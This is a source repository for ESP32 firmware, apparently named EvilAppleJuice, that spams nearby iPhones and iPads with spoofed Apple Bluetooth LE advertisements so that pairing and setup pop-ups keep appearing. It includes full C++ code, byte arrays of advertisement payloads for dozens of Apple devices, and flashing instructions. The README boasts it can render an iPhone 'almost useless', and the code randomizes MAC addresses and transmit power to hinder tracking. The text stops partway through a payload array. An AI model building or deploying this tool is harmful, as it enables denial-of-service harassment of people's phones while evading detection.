├── .gitignore ├── LICENSE ├── test └── README ├── lib └── README ├── platformio.ini ├── include └── README ├── README.md └── src ├── main.cpp ├── devices.hpp └── EvilAppleJuice-ESP32-INO └── EvilAppleJuice-ESP32-INO.ino /.gitignore: -------------------------------------------------------------------------------- 1 | .pio 2 | .vscode/.browse.c_cpp.db* 3 | .vscode/c_cpp_properties.json 4 | .vscode/launch.json 5 | .vscode/ipch 6 | /.vscode/ 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /test/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for PlatformIO Test Runner and project tests. 3 | 4 | Unit Testing is a software testing method by which individual units of 5 | source code, sets of one or more MCU program modules together with associated 6 | control data, usage procedures, and operating procedures, are tested to 7 | determine whether they are fit for use. Unit testing finds problems early 8 | in the development cycle. 9 | 10 | More information about PlatformIO Unit Testing: 11 | - https://docs.platformio.org/en/latest/advanced/unit-testing/index.html 12 | -------------------------------------------------------------------------------- /lib/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for project specific (private) libraries. 3 | PlatformIO will compile them to static libraries and link into executable file. 4 | 5 | The source code of each library should be placed in a an own separate directory 6 | ("lib/your_library_name/[here are source files]"). 7 | 8 | For example, see a structure of the following two libraries `Foo` and `Bar`: 9 | 10 | |--lib 11 | | | 12 | | |--Bar 13 | | | |--docs 14 | | | |--examples 15 | | | |--src 16 | | | |- Bar.c 17 | | | |- Bar.h 18 | | | |- library.json (optional, custom build options, etc) https://docs.platformio.org/page/librarymanager/config.html 19 | | | 20 | | |--Foo 21 | | | |- Foo.c 22 | | | |- Foo.h 23 | | | 24 | | |- README --> THIS FILE 25 | | 26 | |- platformio.ini 27 | |--src 28 | |- main.c 29 | 30 | and a contents of `src/main.c`: 31 | ``` 32 | #include 33 | #include 34 | 35 | int main (void) 36 | { 37 | ... 38 | } 39 | 40 | ``` 41 | 42 | PlatformIO Library Dependency Finder will find automatically dependent 43 | libraries scanning project source files. 44 | 45 | More information about PlatformIO Library Dependency Finder 46 | - https://docs.platformio.org/page/librarymanager/ldf.html 47 | -------------------------------------------------------------------------------- /platformio.ini: -------------------------------------------------------------------------------- 1 | ; PlatformIO Project Configuration File 2 | ; 3 | ; Build options: build flags, source filter 4 | ; Upload options: custom upload port, speed and extra flags 5 | ; Library options: dependencies, extra library storages 6 | ; Advanced options: extra scripting 7 | ; 8 | ; Please visit documentation for the other options and examples 9 | ; https://docs.platformio.org/page/projectconf.html 10 | 11 | [platformio] 12 | default_envs = airm2m_core_esp32c3 13 | 14 | [env:esp32dev] 15 | platform = espressif32 16 | board = esp32dev 17 | framework = arduino 18 | monitor_speed = 115200 19 | 20 | [env:airm2m_core_esp32c3] 21 | platform = espressif32 22 | board = airm2m_core_esp32c3 23 | framework = arduino 24 | monitor_speed = 115200 25 | 26 | ; The defs for an generic ESP32-C3 board off Aliexpress 27 | ; For example this one: https://www.aliexpress.com/item/1005005319963906.html 28 | [env:generic_esp32c3] 29 | platform = espressif32 30 | board = esp32-c3-devkitc-02 31 | board_build.flash_mode = dio 32 | framework = arduino 33 | monitor_speed = 115200 34 | build_flags = 35 | -D ARDUINO_USB_MODE=1 36 | -D ARDUINO_USB_CDC_ON_BOOT=1 37 | 38 | ; The defs for an generic ESP32-NodeMCU (ESP32S) board off Aliexpress 39 | [env:generic_nodemcu-32s] 40 | platform = espressif32 41 | board = nodemcu-32s 42 | framework = arduino 43 | monitor_speed = 115200 44 | 45 | [env:m5stickc] 46 | platform = espressif32 47 | board = m5stick-c 48 | framework = arduino 49 | monitor_speed = 115200 50 | -------------------------------------------------------------------------------- /include/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for project header files. 3 | 4 | A header file is a file containing C declarations and macro definitions 5 | to be shared between several project source files. You request the use of a 6 | header file in your project source file (C, C++, etc) located in `src` folder 7 | by including it, with the C preprocessing directive `#include'. 8 | 9 | ```src/main.c 10 | 11 | #include "header.h" 12 | 13 | int main (void) 14 | { 15 | ... 16 | } 17 | ``` 18 | 19 | Including a header file produces the same results as copying the header file 20 | into each source file that needs it. Such copying would be time-consuming 21 | and error-prone. With a header file, the related declarations appear 22 | in only one place. If they need to be changed, they can be changed in one 23 | place, and programs that include the header file will automatically use the 24 | new version when next recompiled. The header file eliminates the labor of 25 | finding and changing all the copies as well as the risk that a failure to 26 | find one copy will result in inconsistencies within a program. 27 | 28 | In C, the usual convention is to give header files names that end with `.h'. 29 | It is most portable to use only letters, digits, dashes, and underscores in 30 | header file names, and at most one dot. 31 | 32 | Read more about using header files in official GCC documentation: 33 | 34 | * Include Syntax 35 | * Include Operation 36 | * Once-Only Headers 37 | * Computed Includes 38 | 39 | https://gcc.gnu.org/onlinedocs/cpp/Header-Files.html 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EvilAppleJuice ESP32 2 | 3 | Spam BLE advertisements on iPhones! 4 | 5 | |iPhone 15s (latest)|Older iPhones| 6 | |-------------------|-------------| 7 | ||| 8 | 9 | Based off of the work of [ronaldstoner](https://github.com/ronaldstoner) in the [AppleJuice repository](https://github.com/ECTO-1A/AppleJuice/blob/e6a61f6a199075f5bb5b1a00768e317571d25bb9/ESP32-Arduino/applejuice.ino). 10 | 11 | Also thanks to [simondankelmann](https://github.com/simondankelmann) for their discoveries in new advertising messages to pop-up new notifications in iOS devices [source](https://github.com/simondankelmann/Bluetooth-LE-Spam/blob/main/app/src/main/java/de/simon/dankelmann/bluetoothlespam/AdvertisementSetGenerators/ContinuityActionModalAdvertisementSetGenerator.kt) 12 | 13 | With the randomization optimizations it can render an iPhone almost useless with a single ESP32 (a new notification as soon as you close the old one). 14 | 15 | Confirmed on: 16 | * iPhone 15 (running iOS 17.1.2) 17 | * iPhone 14 Pro Max (running iOS 17.2 b3) (See #19) 18 | * iPhone 14 Pro (running iOS 16.6.1) 19 | * iPhone 13 Pro (running iOS 17.4 (21E5184k)) 20 | * iPhone 11 (running iOS 16.6.1) 21 | * iPhone X (running iOS 14.8 (18H17)) - only "AppleTV Keyboard", "TV Color Balance", "AppleTV Setup", "AppleTV Homekit Setup", "AppleTV New User". 22 | * iPad Pro 11 (running iPadOS 17.3 (21D50)) 23 | 24 | Not working on: 25 | * iPhone 4S (running iOS 10.3 (14E277)) 26 | 27 | Other observations: 28 | * Doesn't seem to spawn notifications if Keyboard is open / Camera is open 29 | 30 | ### Video Demo 31 | 32 | Single ESP32 vs. iPhone 14 Pro @ iOS 16.6.1 33 | 34 | https://github.com/ECTO-1A/AppleJuice/assets/6680615/47466ed6-03c9-43b2-a0d0-aac2e2aaa228 35 | 36 | ### Security Vulnerability? 37 | 38 | Since all we're doing is sending BLE advertisments from a "dumb" device, I argue there is no epxloit intent, just annoying. 39 | 40 | [I've asked over a year ago on the Apple forums](https://discussions.apple.com/thread/255127943), if it's possible to disable the feature where iDevices are eagerly awaiting advertisments and popping up notifications, but to no reply. Clearly Tim Apple^ thinks that he know how you should use your device better than you - in fact even if you disable Bluetooth from the quick settings or whatever its called, these will still keep coming - you need to go into settings and turn of Bluetooth completely. Which means you can't use your Airpods or whatever wireless audio device you purchased when they removed the 3.5mm jack. 41 | 42 | *^ obviously I don't actually think Tim Cook is directly behind this, but rather Apple's smug nature of thinking they know what's best, and you're wrong if you don't think that's good design.* 43 | 44 | ## Notable Differences 45 | 46 | This implementation makes the following changes: 47 | 48 | * Random source MAC address (including `BLE_ADDR_TYPE_RANDOM`) 49 | * Randomly pick BLE Advertisement Type ([this may lead to more success](https://github.com/ECTO-1A/AppleJuice/pull/25)) 50 | * Randomly pick one of the possible devices 51 | * Sets the ESP32 BLE Power to the maximum (9dBm) to increase range 52 | 53 | And it makes these random choices every time it runs (default re-advertise every second). 54 | 55 | Given the 29 devices and the 3 advertisement types, there are a total of 87 unique possible advertisements (ignoring the random source MAC) possible, of which one is broadcast every second. 56 | 57 | ## Usage 58 | 59 | Clone the repo, and easiest would be to use VS Code w/ PlatformIO to upload it to your ESP32. 60 | 61 | This project has been tested on an [ESP32-C3 from AirM2M](https://wiki.luatos.com/chips/esp32c3/board.html). 62 | 63 | ### Serial Port on Linux 64 | 65 | For me, plugging in a ESP32-C3 assigns it to `/dev/ttyACM0`. 66 | 67 | To allow the serial port to be writable by a user, you can do: 68 | 69 | ``` 70 | sudo chmod 666 /dev/ttyACM0 71 | ``` 72 | 73 | ### Via Arduino-CLI 74 | 75 | #### Windows 76 | 77 | If you've setup the Arduino CLI, e.g. via https://wellys.com/posts/esp32_cli/ , then you can `cd` into the `src` folder, and run the following: 78 | 79 | ``` 80 | arduino-cli compile --fqbn esp32:esp32:esp32c6 EvilAppleJuice-ESP32-INO -v 81 | arduino-cli upload -p COM4 --fqbn esp32:esp32:esp32c6 EvilAppleJuice-ESP32-INO -v 82 | arduino-cli monitor -c baudrate=115200 -p COM4 83 | ``` 84 | 85 | Replace `COM4` with the port the ESP32 is on, and `esp32c6` with the appropriate board. 86 | 87 | ### Spamming a specific device 88 | 89 | Some basic instructions are here: https://github.com/ckcr4lyf/EvilAppleJuice-ESP32/issues/42#issuecomment-2294610072 , but if you're not a script kiddie you can probably figure it out. 90 | -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | // This example takes heavy inpsiration from the ESP32 example by ronaldstoner 2 | // Based on the previous work of chipik / _hexway / ECTO-1A & SAY-10 3 | // See the README for more info 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "devices.hpp" 12 | 13 | // Bluetooth maximum transmit power 14 | #if defined(CONFIG_IDF_TARGET_ESP32C3) || defined(CONFIG_IDF_TARGET_ESP32C2) || defined(CONFIG_IDF_TARGET_ESP32S3) 15 | #define MAX_TX_POWER ESP_PWR_LVL_P21 // ESP32C3 ESP32C2 ESP32S3 16 | #elif defined(CONFIG_IDF_TARGET_ESP32H2) || defined(CONFIG_IDF_TARGET_ESP32C6) 17 | #define MAX_TX_POWER ESP_PWR_LVL_P20 // ESP32H2 ESP32C6 18 | #else 19 | #define MAX_TX_POWER ESP_PWR_LVL_P9 // Default 20 | #endif 21 | 22 | BLEAdvertising *pAdvertising; // global variable 23 | uint32_t delayMilliseconds = 100; 24 | 25 | void setup() { 26 | Serial.begin(115200); 27 | Serial.println("Starting ESP32 BLE"); 28 | 29 | // This is specific to the AirM2M ESP32 board 30 | // https://wiki.luatos.com/chips/esp32c3/board.html 31 | pinMode(12, OUTPUT); 32 | pinMode(13, OUTPUT); 33 | 34 | BLEDevice::init("AirPods 69"); 35 | 36 | // Increase the BLE Power to 21dBm (MAX) 37 | // https://docs.espressif.com/projects/esp-idf/en/stable/esp32c3/api-reference/bluetooth/controller_vhci.html 38 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); 39 | 40 | // Create the BLE Server 41 | BLEServer *pServer = BLEDevice::createServer(); 42 | pAdvertising = pServer->getAdvertising(); 43 | 44 | // seems we need to init it with an address in setup() step. 45 | esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69}; 46 | pAdvertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM); 47 | } 48 | 49 | void loop() { 50 | // Turn lights on during "busy" part 51 | digitalWrite(12, HIGH); 52 | digitalWrite(13, HIGH); 53 | 54 | // First generate fake random MAC 55 | esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 56 | for (int i = 0; i < 6; i++){ 57 | dummy_addr[i] = random(256); 58 | 59 | // It seems for some reason first 4 bits 60 | // Need to be high (aka 0b1111), so we 61 | // OR with 0xF0 62 | if (i == 0){ 63 | dummy_addr[i] |= 0xF0; 64 | } 65 | } 66 | 67 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 68 | 69 | // Randomly pick data from one of the devices 70 | // First decide short or long 71 | // 0 = long (headphones), 1 = short (misc stuff like Apple TV) 72 | int device_choice = random(2); 73 | if (device_choice == 0){ 74 | int index = random(22); 75 | #ifdef ESP_ARDUINO_VERSION_MAJOR 76 | #if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0) 77 | oAdvertisementData.addData(String((char*)DEVICES[index], 31)); 78 | #else 79 | oAdvertisementData.addData(std::string((char*)DEVICES[index], 31)); 80 | #endif 81 | #endif 82 | } else { 83 | int index = random(13); 84 | #ifdef ESP_ARDUINO_VERSION_MAJOR 85 | #if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0) 86 | oAdvertisementData.addData(String((char*)SHORT_DEVICES[index], 23)); 87 | #else 88 | oAdvertisementData.addData(std::string((char*)SHORT_DEVICES[index], 23)); 89 | #endif 90 | #endif 91 | } 92 | 93 | /* Page 191 of Apple's "Accessory Design Guidelines for Apple Devices (Release R20)" recommends to use only one of 94 | the three advertising PDU types when you want to connect to Apple devices. 95 | // 0 = ADV_TYPE_IND, 96 | // 1 = ADV_TYPE_SCAN_IND 97 | // 2 = ADV_TYPE_NONCONN_IND 98 | 99 | Randomly using any of these PDU types may increase detectability of spoofed packets. 100 | 101 | What we know for sure: 102 | - AirPods Gen 2: this advertises ADV_TYPE_SCAN_IND packets when the lid is opened and ADV_TYPE_NONCONN_IND when in pairing mode (when the rear case btton is held). 103 | Consider using only these PDU types if you want to target Airpods Gen 2 specifically. 104 | */ 105 | 106 | int adv_type_choice = random(3); 107 | if (adv_type_choice == 0){ 108 | pAdvertising->setAdvertisementType(ADV_TYPE_IND); 109 | } else if (adv_type_choice == 1){ 110 | pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); 111 | } else { 112 | pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); 113 | } 114 | 115 | // Set the device address, advertisement data 116 | pAdvertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM); 117 | pAdvertising->setAdvertisementData(oAdvertisementData); 118 | 119 | // Set advertising interval 120 | /* According to Apple' Technical Q&A QA1931 (https://developer.apple.com/library/archive/qa/qa1931/_index.html), Apple recommends 121 | an advertising interval of 20ms to developers who want to maximize the probability of their BLE accessories to be discovered by iOS. 122 | 123 | These lines of code fixes the interval to 20ms. Enabling these MIGHT increase the effectiveness of the DoS. Note this has not undergone thorough testing. 124 | */ 125 | 126 | //pAdvertising->setMinInterval(0x20); 127 | //pAdvertising->setMaxInterval(0x20); 128 | //pAdvertising->setMinPreferred(0x20); 129 | //pAdvertising->setMaxPreferred(0x20); 130 | 131 | // Start advertising 132 | Serial.println("Sending Advertisement..."); 133 | pAdvertising->start(); 134 | 135 | // Turn lights off while "sleeping" 136 | digitalWrite(12, LOW); 137 | digitalWrite(13, LOW); 138 | delay(delayMilliseconds); // delay for delayMilliseconds ms 139 | pAdvertising->stop(); 140 | 141 | // Random signal strength increases the difficulty of tracking the signal 142 | int rand_val = random(100); // Generate a random number between 0 and 99 143 | if (rand_val < 70) { // 70% probability 144 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); 145 | } else if (rand_val < 85) { // 15% probability 146 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 1)); 147 | } else if (rand_val < 95) { // 10% probability 148 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 2)); 149 | } else if (rand_val < 99) { // 4% probability 150 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 3)); 151 | } else { // 1% probability 152 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 4)); 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /src/devices.hpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | These are audio devices: wireless headphones / earbuds 5 | It seems these need a shorter range between ESP & iDevice 6 | */ 7 | const uint8_t DEVICES[][31] = { 8 | // Airpods 9 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 10 | // Power Beats 11 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 12 | // Beats X 13 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 14 | // Beats Solo 3 15 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 16 | // Beats Studio 3 17 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 18 | // Airpods Max 19 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 20 | // Power Beats Pro 21 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 22 | // Beats Solo Pro 23 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 24 | // Airpods Pro 25 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 26 | // Airpods Gen 2 27 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 28 | // Beats Flex 29 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 30 | // Beats Studio Buds 31 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 32 | // Betas Fit Pro 33 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 34 | // Airpods Gen 3 35 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 36 | // Airpods Pro Gen 2 37 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 38 | // Beats Studio Buds Plus 39 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 40 | // Beats Studio Pro 41 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 42 | // Airpods Pro Gen 2 USB-C 43 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x24, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 44 | // Beats Solo 4 45 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x25, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 46 | // Beats Solo Buds 47 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x26, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 48 | // Software update (as of iOS 26 on 2025-09-17. See: 49 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x2e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 50 | // Powerbeats fit 51 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x2f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 52 | }; 53 | 54 | /* 55 | These are more general home devices 56 | It seems these can work over long distances, especially AppleTV Setup 57 | */ 58 | const uint8_t SHORT_DEVICES[][23] = { 59 | // AppleTV Setup 60 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 61 | // AppleTV Pair 62 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 63 | // AppleTV New User 64 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 65 | // AppleTV AppleID Setup 66 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 67 | // AppleTV Wireless Audio Sync 68 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 69 | // AppleTV Homekit Setup 70 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 71 | // AppleTV Keyboard Setup 72 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 73 | // AppleTV Connecting to Network 74 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 75 | // Homepod Setup 76 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 77 | // Setup New Phone 78 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 79 | // Transfer Number 80 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 81 | // TV Color Balance 82 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 83 | // Vision Pro 84 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 85 | }; -------------------------------------------------------------------------------- /src/EvilAppleJuice-ESP32-INO/EvilAppleJuice-ESP32-INO.ino: -------------------------------------------------------------------------------- 1 | // This example takes heavy inpsiration from the ESP32 example by ronaldstoner 2 | // Based on the previous work of chipik / _hexway / ECTO-1A & SAY-10 3 | // See the README for more info 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | // Bluetooth maximum transmit power 11 | #if defined(CONFIG_IDF_TARGET_ESP32C3) || defined(CONFIG_IDF_TARGET_ESP32C2) || defined(CONFIG_IDF_TARGET_ESP32S3) 12 | #define MAX_TX_POWER ESP_PWR_LVL_P21 // ESP32C3 ESP32C2 ESP32S3 13 | #elif defined(CONFIG_IDF_TARGET_ESP32H2) || defined(CONFIG_IDF_TARGET_ESP32C6) 14 | #define MAX_TX_POWER ESP_PWR_LVL_P20 // ESP32H2 ESP32C6 15 | #else 16 | #define MAX_TX_POWER ESP_PWR_LVL_P9 // Default 17 | #endif 18 | 19 | BLEAdvertising *pAdvertising; // global variable 20 | uint32_t delayMilliseconds = 100; 21 | 22 | /* 23 | These are audio devices: wireless headphones / earbuds 24 | It seems these need a shorter range between ESP & iDevice 25 | */ 26 | const uint8_t DEVICES[][31] = { 27 | // Airpods 28 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 29 | // Power Beats 30 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 